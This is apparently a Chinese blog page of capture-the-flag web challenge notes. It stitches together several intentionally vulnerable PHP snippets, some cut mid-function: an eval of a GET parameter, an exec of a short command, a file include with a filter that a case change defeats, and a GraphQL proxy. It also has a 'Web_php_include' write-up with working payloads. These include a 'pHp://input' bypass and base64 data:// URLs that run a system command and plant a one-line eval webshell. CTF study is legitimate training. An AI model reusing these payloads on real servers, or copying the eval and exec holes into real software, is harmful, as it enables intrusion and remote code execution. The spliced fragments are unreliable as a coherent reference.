        $extension = substr($name, strrpos($name,".")+1);
    if(preg_match("/ph/i",$extension)) die("^_^"); 
        if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
    if(!exif_imagetype($tmp_name)) die("^_^"); 
        $path= $userdir."/".$name;
        @move_uploaded_file($tmp_name, $path);
        print_r($path);
    }
}

$hhh = @$_GET['_'];

if (!$hhh){
    highlight_file(__FILE__);
}

if(strlen($hhh)>18){
    die('One inch long, one inch strong!');
}

if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )
    die('Try something else!');

$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");

eval($hhh);
?>
 <?php
$sandbox = '/www/sandbox/' . md5("catf1ag" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
    @exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
    @exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
?> 

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

代码非常简单,这道题会对php://进行过滤,所以我们要绕过这个strstr和str_place函数,

这两个函数都区分大小写,所有可以使用大小写绕过

可以读取到文件,可以使用input协议,去执行命令

61.147.171.105:49618/?page=pHp://input

post数据: a =

过滤了php我们可以使用data流写入一句话木马和执行命令

执行命令:http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik/Pg==

写入木马:http://111.198.29.45:47062/?page=data://text/plain/;base64,PD9waHAgZXZhbCgkX1BPU1RbeGlhb2h1YV0pOyA/Pg==

hello参数有回显这里是引用hello是有回显的,所以说不定这里可以命令执行然后回显到浏览器

/?page=http://127.0.0.1/?hello=

          <?php
                error_reporting(0);
                $id = $_POST['id'];
                function waf($str) //定义了一个waf
                {
                    if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") {
                        return False;//只能为数字
                    } else {
                        return True;
                    }
                }

                function send($data) 
                {
                    $options = array(
                        'http' => array(
                            'method' => 'POST',
                            'header' => 'Content-type: application/json',
                            'content' => $data,
                            'timeout' => 10 * 60
                        )
                    );
                    $context = stream_context_create($options);
                    $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context);
                    return $result;
                }

                if (isset($id)) {
                    if (waf($id)) {
                        isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}';
                        $res = json_decode(send($data));
                        if ($res->data->users_user_by_pk->name !== NULL) {
                            echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name;
                        } else {
                            echo "<b>Can't found it!</b><br><br>DEBUG: ";
                            var_dump($res->data);
                        }
                    } else {
                        die("<b>Hacker! Only Number!</b>");
                    }
                } else {
                    die("<b>No Data?</b>");
                }
                ?>

Tags:

本文暂时没有评论,来添加一个吧(●'◡'●)

欢迎 发表评论:

最近发表
标签列表